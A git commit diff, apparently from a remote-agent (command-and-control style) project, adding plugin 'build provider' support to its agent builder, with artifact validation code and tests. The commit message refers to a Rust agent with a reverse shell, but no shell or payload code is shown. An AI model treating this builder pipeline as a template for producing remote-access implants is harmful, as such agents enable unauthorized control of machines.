mess around with a rust agent version with just rev shell.
This commit is contained in:
@@ -11,6 +11,8 @@ export type BuildStream = {
|
||||
|
||||
export type BuildConfig = {
|
||||
platforms: string[];
|
||||
buildProvider?: string;
|
||||
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
|
||||
serverUrl?: string;
|
||||
rawServerList?: boolean;
|
||||
mutex?: string;
|
||||
|
||||
@@ -247,6 +247,10 @@ const WINRE_ROOT = path.join(DATA_DIR, "winre");
|
||||
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
|
||||
|
||||
function resolvePluginWorkerHostUrl(): string {
|
||||
const currentModulePath = fileURLToPath(import.meta.url);
|
||||
if (currentModulePath.endsWith(`${path.sep}src${path.sep}main-server.ts`)) {
|
||||
return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
|
||||
}
|
||||
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
|
||||
if (existsSync(builtWorker)) {
|
||||
return pathToFileURL(builtWorker).href;
|
||||
@@ -311,6 +315,8 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
|
||||
sanitizeOutputName,
|
||||
fileShareRoot: FILE_SHARE_ROOT,
|
||||
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
|
||||
runBuildProvider: (pluginId, payload, onOutput) =>
|
||||
pluginRuntime.runBuildProvider(pluginId, payload, onOutput),
|
||||
});
|
||||
|
||||
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
|
||||
|
||||
@@ -394,11 +394,19 @@ export type PluginBuildIntegration = {
|
||||
enabledByDefault?: boolean;
|
||||
label?: string;
|
||||
description?: string;
|
||||
provider?: PluginBuildProvider;
|
||||
settings?: PluginBuildSetting[];
|
||||
actions?: PluginBuildAction[];
|
||||
requires?: PluginBuildRequirement[];
|
||||
};
|
||||
|
||||
export type PluginBuildProvider = {
|
||||
label?: string;
|
||||
description?: string;
|
||||
icon?: string;
|
||||
platforms: string[];
|
||||
};
|
||||
|
||||
export type PluginBuildSetting = {
|
||||
key: string;
|
||||
label?: string;
|
||||
|
||||
@@ -25,6 +25,8 @@ import { resolveContainedPath } from "./upload-security";
|
||||
import { createIsolatedBuildEnv } from "./build-environment";
|
||||
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
|
||||
import { getActiveTlsSpkiPins } from "./tls-bootstrap";
|
||||
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
|
||||
import type { PluginBuildProviderOutput } from "./plugin-runtime/runtime";
|
||||
|
||||
export function createAgentTlsPinsLdflag(pins: string[]): string {
|
||||
if (pins.length === 0) return "";
|
||||
@@ -95,6 +97,7 @@ type BoundFile = {
|
||||
|
||||
type BuildProcessConfig = {
|
||||
platforms: string[];
|
||||
buildProvider?: string;
|
||||
serverUrl?: string;
|
||||
rawServerList?: boolean;
|
||||
mutex?: string;
|
||||
@@ -287,6 +290,11 @@ type BuildProcessDeps = {
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
fileShareRoot?: string;
|
||||
runBuildHookForAll?: BuildHookRunner;
|
||||
runBuildProvider?: (
|
||||
pluginId: string,
|
||||
payload: unknown,
|
||||
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||
) => Promise<unknown>;
|
||||
};
|
||||
|
||||
function guessMimeTypeForUpload(filename: string): string {
|
||||
@@ -614,12 +622,76 @@ export async function startBuildProcess(
|
||||
}
|
||||
};
|
||||
|
||||
const finishSuccessfulBuild = async (outDir: string, buildTag?: string) => {
|
||||
build.status = "completed";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
|
||||
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
|
||||
|
||||
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
|
||||
try {
|
||||
await uploadBuildFilesToFileShare(
|
||||
build,
|
||||
outDir,
|
||||
deps.fileShareRoot,
|
||||
config.builtByUserId,
|
||||
sendToStream,
|
||||
);
|
||||
} catch (uploadErr: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"complete",
|
||||
{
|
||||
buildId,
|
||||
status: build.status,
|
||||
files: build.files,
|
||||
outputDir: outDir,
|
||||
expiresAt: build.expiresAt,
|
||||
userId: config.builtByUserId,
|
||||
config,
|
||||
},
|
||||
sendToStream,
|
||||
);
|
||||
|
||||
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
||||
|
||||
saveBuild({
|
||||
id: build.id,
|
||||
status: build.status,
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files as any,
|
||||
buildTag,
|
||||
builtByUserId: config.builtByUserId,
|
||||
initialClientTag: config.initialClientTag,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
}, SEVEN_DAYS_MS);
|
||||
};
|
||||
|
||||
let winresTempDir: string | null = null;
|
||||
const generatedSysoFiles: string[] = [];
|
||||
let binderGenPath: string | null = null;
|
||||
let binderFilesDir: string | null = null;
|
||||
let binderLockPath: string | null = null;
|
||||
let macosSdkRoot: string | null = null;
|
||||
let providerStagingDir: string | null = null;
|
||||
|
||||
const buildStartedAt = Date.now();
|
||||
const keepAliveTimer = setInterval(() => {
|
||||
@@ -654,6 +726,136 @@ export async function startBuildProcess(
|
||||
);
|
||||
}
|
||||
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const outDir = path.join(rootDir, "dist-clients");
|
||||
|
||||
if (config.buildProvider) {
|
||||
if (!deps.runBuildProvider) {
|
||||
throw new Error("Plugin build providers are not available");
|
||||
}
|
||||
const buildTag = await signBuildToken({
|
||||
v: 1,
|
||||
bid: buildId,
|
||||
uid: config.builtByUserId ?? null,
|
||||
iat: Math.floor(Date.now() / 1000),
|
||||
});
|
||||
providerStagingDir = providerStagingDirectory(rootDir, buildId);
|
||||
fs.rmSync(providerStagingDir, { recursive: true, force: true });
|
||||
fs.mkdirSync(providerStagingDir, { recursive: true });
|
||||
fs.mkdirSync(outDir, { recursive: true });
|
||||
|
||||
sendToStream({ type: "status", text: `Starting ${config.buildProvider} build provider...` });
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Build provider: ${config.buildProvider}\n`,
|
||||
level: "info",
|
||||
});
|
||||
const providerResult = await deps.runBuildProvider(
|
||||
config.buildProvider,
|
||||
{
|
||||
buildId,
|
||||
providerId: config.buildProvider,
|
||||
runtimeRoot: rootDir,
|
||||
outputDir: providerStagingDir,
|
||||
platforms: config.platforms,
|
||||
serverUrl: config.serverUrl,
|
||||
agentToken: buildAgentToken,
|
||||
buildTag,
|
||||
tlsSpkiPins: buildTlsSpkiPins,
|
||||
initialClientTag: config.initialClientTag,
|
||||
outputName: config.outputName,
|
||||
settings: config.buildPlugins?.[config.buildProvider]?.settings || {},
|
||||
config,
|
||||
},
|
||||
(output) => {
|
||||
const text = String(output.text || "").slice(0, 64 * 1024);
|
||||
if (!text) return;
|
||||
if (output.event === "status") {
|
||||
const progress = Number.isFinite(output.progress)
|
||||
? Math.max(0, Math.min(100, Number(output.progress)))
|
||||
: undefined;
|
||||
const etaSeconds = Number.isFinite(output.etaSeconds)
|
||||
? Math.max(0, Math.min(7 * 24 * 60 * 60, Math.round(Number(output.etaSeconds))))
|
||||
: undefined;
|
||||
sendToStream({ type: "status", text, progress, etaSeconds });
|
||||
} else {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: text.endsWith("\n") ? text : `${text}\n`,
|
||||
level: output.level || "info",
|
||||
});
|
||||
}
|
||||
},
|
||||
);
|
||||
|
||||
const providerFiles = installProviderArtifacts({
|
||||
result: providerResult,
|
||||
stagingDir: providerStagingDir,
|
||||
outputDir: outDir,
|
||||
buildId,
|
||||
requestedPlatforms: config.platforms,
|
||||
sanitizeOutputName: deps.sanitizeOutputName,
|
||||
});
|
||||
|
||||
for (const installed of providerFiles) {
|
||||
let finalFile = { ...installed };
|
||||
const extraFiles: any[] = [];
|
||||
const artifactPayload = {
|
||||
buildId,
|
||||
providerId: config.buildProvider,
|
||||
platform: finalFile.platform,
|
||||
outDir,
|
||||
file: {
|
||||
...finalFile,
|
||||
path: path.join(outDir, finalFile.filename),
|
||||
},
|
||||
files: cloneForHook(build.files),
|
||||
config,
|
||||
};
|
||||
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactPayload, sendToStream)) {
|
||||
if (!isRecord(item.result)) continue;
|
||||
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
|
||||
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
|
||||
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
|
||||
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||
if (fs.existsSync(candidatePath)) {
|
||||
finalFile = {
|
||||
...finalFile,
|
||||
filename: safeFilename,
|
||||
size: fs.statSync(candidatePath).size,
|
||||
};
|
||||
} else {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalFile.filename}\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
}
|
||||
if (Array.isArray(item.result.files)) {
|
||||
for (const rawFile of item.result.files) {
|
||||
if (!isRecord(rawFile) || typeof rawFile.filename !== "string" || !rawFile.filename.trim()) continue;
|
||||
const safeFilename = deps.sanitizeOutputName(path.basename(rawFile.filename.trim()));
|
||||
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||
if (!fs.existsSync(candidatePath)) continue;
|
||||
const stat = fs.statSync(candidatePath);
|
||||
extraFiles.push({
|
||||
name: typeof rawFile.name === "string" && rawFile.name.trim() ? rawFile.name.trim() : safeFilename,
|
||||
filename: safeFilename,
|
||||
platform: typeof rawFile.platform === "string" ? rawFile.platform : finalFile.platform,
|
||||
version: typeof rawFile.version === "string" ? rawFile.version : finalFile.version,
|
||||
size: stat.size,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
(build.files as any[]).push(finalFile, ...extraFiles);
|
||||
}
|
||||
|
||||
await finishSuccessfulBuild(outDir, buildTag);
|
||||
return;
|
||||
}
|
||||
|
||||
sendToStream({ type: "status", text: "Preparing build environment..." });
|
||||
|
||||
try {
|
||||
@@ -671,7 +873,6 @@ export async function startBuildProcess(
|
||||
return;
|
||||
}
|
||||
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const clientDir = resolveClientModuleDir(rootDir);
|
||||
if (!clientDir) {
|
||||
throw new Error(
|
||||
@@ -679,7 +880,6 @@ export async function startBuildProcess(
|
||||
);
|
||||
}
|
||||
const agentVersion = detectAgentVersion(clientDir);
|
||||
const outDir = path.join(rootDir, "dist-clients");
|
||||
const cacheRoot = resolveClientBuildCacheRoot();
|
||||
const goBuildCacheDir = path.join(cacheRoot, "go-build");
|
||||
const goModCacheDir = path.join(cacheRoot, "go-mod");
|
||||
@@ -2230,66 +2430,7 @@ func runBoundFiles() {
|
||||
}
|
||||
}
|
||||
|
||||
build.status = "completed";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
|
||||
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
|
||||
|
||||
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
|
||||
try {
|
||||
await uploadBuildFilesToFileShare(
|
||||
build,
|
||||
outDir,
|
||||
deps.fileShareRoot,
|
||||
config.builtByUserId,
|
||||
sendToStream,
|
||||
);
|
||||
} catch (uploadErr: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
|
||||
await runBuildHooks(
|
||||
deps.runBuildHookForAll,
|
||||
"complete",
|
||||
{
|
||||
buildId,
|
||||
status: build.status,
|
||||
files: build.files,
|
||||
outputDir: outDir,
|
||||
expiresAt: build.expiresAt,
|
||||
userId: config.builtByUserId,
|
||||
config,
|
||||
},
|
||||
sendToStream,
|
||||
);
|
||||
|
||||
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
||||
|
||||
saveBuild({
|
||||
id: build.id,
|
||||
status: build.status,
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files as any,
|
||||
buildTag,
|
||||
builtByUserId: config.builtByUserId,
|
||||
initialClientTag: config.initialClientTag,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
}, SEVEN_DAYS_MS);
|
||||
await finishSuccessfulBuild(outDir, buildTag);
|
||||
} catch (err: any) {
|
||||
build.status = "failed";
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
|
||||
@@ -2335,6 +2476,9 @@ func runBoundFiles() {
|
||||
if (binderLockPath) {
|
||||
try { fs.unlinkSync(binderLockPath); } catch {}
|
||||
}
|
||||
if (providerStagingDir) {
|
||||
try { fs.rmSync(providerStagingDir, { recursive: true, force: true }); } catch {}
|
||||
}
|
||||
cleanupMacosSdkUpload(config.macosSdkUploadDir);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
import { afterEach, describe, expect, test } from "bun:test";
|
||||
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
|
||||
import { tmpdir } from "os";
|
||||
import { join } from "path";
|
||||
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
|
||||
|
||||
const roots: string[] = [];
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
|
||||
roots.length = 0;
|
||||
});
|
||||
|
||||
async function fixture() {
|
||||
const root = await mkdtemp(join(tmpdir(), "overlord-provider-test-"));
|
||||
roots.push(root);
|
||||
const buildId = "12345678-1234-1234-1234-123456789abc";
|
||||
const stagingDir = providerStagingDirectory(root, buildId);
|
||||
const outputDir = join(root, "dist-clients");
|
||||
await mkdir(stagingDir, { recursive: true });
|
||||
return { root, buildId, stagingDir, outputDir };
|
||||
}
|
||||
|
||||
describe("plugin build provider artifacts", () => {
|
||||
test("installs validated artifacts with a unique build suffix", async () => {
|
||||
const dirs = await fixture();
|
||||
await writeFile(join(dirs.stagingDir, "lite.exe"), "rust-lite");
|
||||
|
||||
const files = installProviderArtifacts({
|
||||
result: { artifacts: [{ filename: "lite.exe", platform: "windows-amd64", version: "0.1.0" }] },
|
||||
stagingDir: dirs.stagingDir,
|
||||
outputDir: dirs.outputDir,
|
||||
buildId: dirs.buildId,
|
||||
requestedPlatforms: ["windows-amd64"],
|
||||
sanitizeOutputName: (name) => name.replace(/[^A-Za-z0-9._-]/g, ""),
|
||||
});
|
||||
|
||||
expect(files).toEqual([{
|
||||
name: "lite.exe",
|
||||
filename: "lite-12345678.exe",
|
||||
platform: "windows-amd64",
|
||||
version: "0.1.0",
|
||||
size: 9,
|
||||
}]);
|
||||
});
|
||||
|
||||
test("rejects traversal and unrequested platforms", async () => {
|
||||
const dirs = await fixture();
|
||||
await writeFile(join(dirs.root, "outside.exe"), "outside");
|
||||
expect(() => installProviderArtifacts({
|
||||
result: { artifacts: [{ path: "../../../outside.exe", filename: "outside.exe", platform: "windows-amd64" }] },
|
||||
stagingDir: dirs.stagingDir,
|
||||
outputDir: dirs.outputDir,
|
||||
buildId: dirs.buildId,
|
||||
requestedPlatforms: ["windows-amd64"],
|
||||
sanitizeOutputName: (name) => name,
|
||||
})).toThrow("escaped");
|
||||
|
||||
await writeFile(join(dirs.stagingDir, "lite"), "lite");
|
||||
expect(() => installProviderArtifacts({
|
||||
result: { artifacts: [{ filename: "lite", platform: "linux-arm64" }] },
|
||||
stagingDir: dirs.stagingDir,
|
||||
outputDir: dirs.outputDir,
|
||||
buildId: dirs.buildId,
|
||||
requestedPlatforms: ["linux-amd64"],
|
||||
sanitizeOutputName: (name) => name,
|
||||
})).toThrow("unrequested platform");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,125 @@
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
|
||||
const MAX_PROVIDER_ARTIFACTS = 32;
|
||||
const MAX_PROVIDER_ARTIFACT_BYTES = 512 * 1024 * 1024;
|
||||
|
||||
export type ProviderArtifact = {
|
||||
name: string;
|
||||
filename: string;
|
||||
platform: string;
|
||||
version?: string;
|
||||
size: number;
|
||||
};
|
||||
|
||||
function isRecord(value: unknown): value is Record<string, any> {
|
||||
return !!value && typeof value === "object" && !Array.isArray(value);
|
||||
}
|
||||
|
||||
function isInside(root: string, target: string): boolean {
|
||||
const prefix = root.endsWith(path.sep) ? root : `${root}${path.sep}`;
|
||||
return target === root || target.startsWith(prefix);
|
||||
}
|
||||
|
||||
function withBuildSlug(filename: string, slug: string): string {
|
||||
const extension = path.extname(filename);
|
||||
const stem = filename.slice(0, filename.length - extension.length);
|
||||
return stem.endsWith(`-${slug}`) ? filename : `${stem}-${slug}${extension}`;
|
||||
}
|
||||
|
||||
export function providerStagingDirectory(runtimeRoot: string, buildId: string): string {
|
||||
if (!/^[A-Za-z0-9-]{8,64}$/.test(buildId)) {
|
||||
throw new Error("Invalid provider build id");
|
||||
}
|
||||
return path.join(runtimeRoot, "dist-clients", ".plugin-builds", buildId);
|
||||
}
|
||||
|
||||
export function installProviderArtifacts(args: {
|
||||
result: unknown;
|
||||
stagingDir: string;
|
||||
outputDir: string;
|
||||
buildId: string;
|
||||
requestedPlatforms: string[];
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
}): ProviderArtifact[] {
|
||||
if (!isRecord(args.result) || !Array.isArray(args.result.artifacts)) {
|
||||
throw new Error("Build provider must return an artifacts array");
|
||||
}
|
||||
if (args.result.artifacts.length === 0) {
|
||||
throw new Error("Build provider returned no artifacts");
|
||||
}
|
||||
if (args.result.artifacts.length > MAX_PROVIDER_ARTIFACTS) {
|
||||
throw new Error(`Build provider returned more than ${MAX_PROVIDER_ARTIFACTS} artifacts`);
|
||||
}
|
||||
|
||||
const realStagingDir = fs.realpathSync(args.stagingDir);
|
||||
const requestedPlatforms = new Set(args.requestedPlatforms);
|
||||
const buildSlug = args.buildId.substring(0, 8);
|
||||
const installed: ProviderArtifact[] = [];
|
||||
const installedPaths: string[] = [];
|
||||
const names = new Set<string>();
|
||||
|
||||
try {
|
||||
for (const raw of args.result.artifacts) {
|
||||
if (!isRecord(raw)) throw new Error("Build provider returned an invalid artifact");
|
||||
const relativePath = typeof raw.path === "string" && raw.path.trim()
|
||||
? raw.path.trim()
|
||||
: typeof raw.filename === "string"
|
||||
? raw.filename.trim()
|
||||
: "";
|
||||
if (!relativePath || path.isAbsolute(relativePath)) {
|
||||
throw new Error("Provider artifact paths must be relative to the build output directory");
|
||||
}
|
||||
|
||||
const sourcePath = path.resolve(args.stagingDir, relativePath);
|
||||
if (!isInside(path.resolve(args.stagingDir), sourcePath)) {
|
||||
throw new Error("Provider artifact escaped the build output directory");
|
||||
}
|
||||
const sourceStat = fs.lstatSync(sourcePath);
|
||||
if (sourceStat.isSymbolicLink() || !sourceStat.isFile()) {
|
||||
throw new Error("Provider artifacts must be regular files");
|
||||
}
|
||||
const realSourcePath = fs.realpathSync(sourcePath);
|
||||
if (!isInside(realStagingDir, realSourcePath)) {
|
||||
throw new Error("Provider artifact resolved outside the build output directory");
|
||||
}
|
||||
if (sourceStat.size <= 0 || sourceStat.size > MAX_PROVIDER_ARTIFACT_BYTES) {
|
||||
throw new Error("Provider artifact has an invalid size");
|
||||
}
|
||||
|
||||
const platform = typeof raw.platform === "string" ? raw.platform.trim() : "";
|
||||
if (!requestedPlatforms.has(platform)) {
|
||||
throw new Error(`Provider returned an artifact for unrequested platform ${platform || "<empty>"}`);
|
||||
}
|
||||
const suggestedName = typeof raw.filename === "string" && raw.filename.trim()
|
||||
? path.basename(raw.filename.trim())
|
||||
: path.basename(relativePath);
|
||||
const sanitizedName = args.sanitizeOutputName(suggestedName);
|
||||
if (!sanitizedName) throw new Error("Provider returned an invalid artifact filename");
|
||||
const filename = withBuildSlug(sanitizedName, buildSlug);
|
||||
if (names.has(filename)) throw new Error(`Provider returned duplicate artifact ${filename}`);
|
||||
names.add(filename);
|
||||
|
||||
fs.mkdirSync(args.outputDir, { recursive: true });
|
||||
const destinationPath = path.join(args.outputDir, filename);
|
||||
fs.copyFileSync(realSourcePath, destinationPath);
|
||||
installedPaths.push(destinationPath);
|
||||
const size = fs.statSync(destinationPath).size;
|
||||
installed.push({
|
||||
name: typeof raw.name === "string" && raw.name.trim()
|
||||
? raw.name.trim().slice(0, 128)
|
||||
: suggestedName,
|
||||
filename,
|
||||
platform,
|
||||
...(typeof raw.version === "string" && raw.version.trim() && { version: raw.version.trim().slice(0, 64) }),
|
||||
size,
|
||||
});
|
||||
}
|
||||
return installed;
|
||||
} catch (error) {
|
||||
for (const installedPath of installedPaths) {
|
||||
try { fs.unlinkSync(installedPath); } catch {}
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
import { afterEach, describe, expect, test } from "bun:test";
|
||||
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
|
||||
import { tmpdir } from "os";
|
||||
import { join } from "path";
|
||||
import { createPluginRuntime } from "./runtime";
|
||||
|
||||
const roots: string[] = [];
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
|
||||
roots.length = 0;
|
||||
});
|
||||
|
||||
describe("plugin build providers", () => {
|
||||
test("streams provider output and returns its artifacts", async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-test-"));
|
||||
roots.push(root);
|
||||
const pluginDir = join(root, "provider");
|
||||
await mkdir(pluginDir, { recursive: true });
|
||||
await writeFile(join(pluginDir, "server.js"), `
|
||||
export default {
|
||||
onBuild(ctx, payload) {
|
||||
ctx.build.status("Compiling test provider", 35, 42);
|
||||
ctx.build.output("cargo output", "success");
|
||||
return { artifacts: [{ filename: payload.filename, platform: "windows-amd64" }] };
|
||||
}
|
||||
};
|
||||
`);
|
||||
|
||||
const errors: string[] = [];
|
||||
const runtime = createPluginRuntime({
|
||||
pluginRoot: root,
|
||||
workerHostUrl: new URL("./worker-host.ts", import.meta.url).href,
|
||||
setLastError: (_pluginId, error) => errors.push(error),
|
||||
});
|
||||
try {
|
||||
await runtime.startPlugin("provider");
|
||||
const output: any[] = [];
|
||||
const result = await runtime.runBuildProvider(
|
||||
"provider",
|
||||
{ filename: "lite.exe" },
|
||||
(event) => output.push(event),
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
artifacts: [{ filename: "lite.exe", platform: "windows-amd64" }],
|
||||
});
|
||||
expect(output).toEqual([
|
||||
{ event: "status", text: "Compiling test provider", level: undefined, progress: 35, etaSeconds: 42 },
|
||||
{ event: "output", text: "cargo output", level: "success" },
|
||||
]);
|
||||
expect(errors).toEqual([]);
|
||||
} finally {
|
||||
await runtime.shutdownAll();
|
||||
}
|
||||
});
|
||||
|
||||
test("rejects immediately when a stale worker lacks build-provider support", async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-stale-test-"));
|
||||
roots.push(root);
|
||||
const pluginDir = join(root, "provider");
|
||||
await mkdir(pluginDir, { recursive: true });
|
||||
await writeFile(join(pluginDir, "server.js"), "export default {};\n");
|
||||
const staleWorker = join(root, "stale-worker.js");
|
||||
await writeFile(staleWorker, `
|
||||
self.onmessage = (event) => {
|
||||
if (event.data?.type === "boot") self.postMessage({ type: "ready" });
|
||||
};
|
||||
`);
|
||||
|
||||
const runtime = createPluginRuntime({
|
||||
pluginRoot: root,
|
||||
workerHostUrl: staleWorker,
|
||||
setLastError: () => {},
|
||||
});
|
||||
try {
|
||||
await runtime.startPlugin("provider");
|
||||
await expect(runtime.runBuildProvider("provider", {}, () => {})).rejects.toThrow(
|
||||
"does not support build providers",
|
||||
);
|
||||
} finally {
|
||||
await runtime.shutdownAll();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -17,6 +17,18 @@ type PendingCall = {
|
||||
timer: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
export type PluginBuildProviderOutput = {
|
||||
event: "output" | "status";
|
||||
text: string;
|
||||
level?: "debug" | "info" | "warn" | "error" | "success";
|
||||
progress?: number;
|
||||
etaSeconds?: number;
|
||||
};
|
||||
|
||||
type PendingBuildProviderCall = PendingCall & {
|
||||
onOutput: (output: PluginBuildProviderOutput) => void;
|
||||
};
|
||||
|
||||
type PluginInstance = {
|
||||
pluginId: string;
|
||||
worker: Worker;
|
||||
@@ -26,12 +38,15 @@ type PluginInstance = {
|
||||
isReady: boolean;
|
||||
pending: Map<string, PendingCall>;
|
||||
pendingBuildHooks: Map<string, PendingCall>;
|
||||
pendingBuildProviders: Map<string, PendingBuildProviderCall>;
|
||||
capabilities: Set<string>;
|
||||
subscribers: Set<Subscriber>;
|
||||
startedAt: number;
|
||||
};
|
||||
|
||||
const RPC_TIMEOUT_MS = 30_000;
|
||||
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
|
||||
const BUILD_PROVIDER_TIMEOUT_MS = 30 * 60_000;
|
||||
const SHUTDOWN_GRACE_MS = 750;
|
||||
|
||||
export type PluginRuntime = {
|
||||
@@ -52,6 +67,11 @@ export type PluginRuntime = {
|
||||
) => Promise<unknown>;
|
||||
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
|
||||
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
|
||||
runBuildProvider: (
|
||||
pluginId: string,
|
||||
payload: unknown,
|
||||
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||
) => Promise<unknown>;
|
||||
subscribe: (
|
||||
pluginId: string,
|
||||
send: (sse: string) => void,
|
||||
@@ -111,6 +131,8 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
isReady: false,
|
||||
pending: new Map(),
|
||||
pendingBuildHooks: new Map(),
|
||||
pendingBuildProviders: new Map(),
|
||||
capabilities: new Set(),
|
||||
subscribers: new Set(),
|
||||
startedAt: Date.now(),
|
||||
};
|
||||
@@ -172,6 +194,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
pending.reject(new Error("Plugin runtime stopped"));
|
||||
}
|
||||
inst.pendingBuildHooks.clear();
|
||||
for (const pending of inst.pendingBuildProviders.values()) {
|
||||
clearTimeout(pending.timer);
|
||||
pending.reject(new Error("Plugin runtime stopped"));
|
||||
}
|
||||
inst.pendingBuildProviders.clear();
|
||||
|
||||
try {
|
||||
const shutdownMsg: WorkerInbound = { type: "shutdown" };
|
||||
@@ -293,6 +320,42 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
return results;
|
||||
}
|
||||
|
||||
function runBuildProvider(
|
||||
pluginId: string,
|
||||
payload: unknown,
|
||||
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||
): Promise<unknown> {
|
||||
const inst = instances.get(pluginId);
|
||||
if (!inst) {
|
||||
return Promise.reject(new Error("Plugin runtime not running"));
|
||||
}
|
||||
const callOnReady = () =>
|
||||
new Promise((resolve, reject) => {
|
||||
if (!inst.capabilities.has("build_provider")) {
|
||||
reject(new Error(
|
||||
"Plugin worker does not support build providers. Rebuild the server bundle and restart the server.",
|
||||
));
|
||||
return;
|
||||
}
|
||||
const id = uuidv4();
|
||||
const timer = setTimeout(() => {
|
||||
if (inst.pendingBuildProviders.delete(id)) {
|
||||
reject(new Error("Build provider timed out"));
|
||||
}
|
||||
}, BUILD_PROVIDER_TIMEOUT_MS);
|
||||
inst.pendingBuildProviders.set(id, { resolve, reject, timer, onOutput });
|
||||
const msg: WorkerInbound = { type: "build_provider", id, payload };
|
||||
try {
|
||||
inst.worker.postMessage(msg);
|
||||
} catch (err) {
|
||||
clearTimeout(timer);
|
||||
inst.pendingBuildProviders.delete(id);
|
||||
reject(err instanceof Error ? err : new Error(String(err)));
|
||||
}
|
||||
});
|
||||
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
|
||||
}
|
||||
|
||||
function subscribe(
|
||||
pluginId: string,
|
||||
send: (sse: string) => void,
|
||||
@@ -309,6 +372,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
|
||||
function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
|
||||
if (msg.type === "ready") {
|
||||
inst.capabilities = new Set(Array.isArray(msg.capabilities) ? msg.capabilities : []);
|
||||
inst.resolveReady();
|
||||
return;
|
||||
}
|
||||
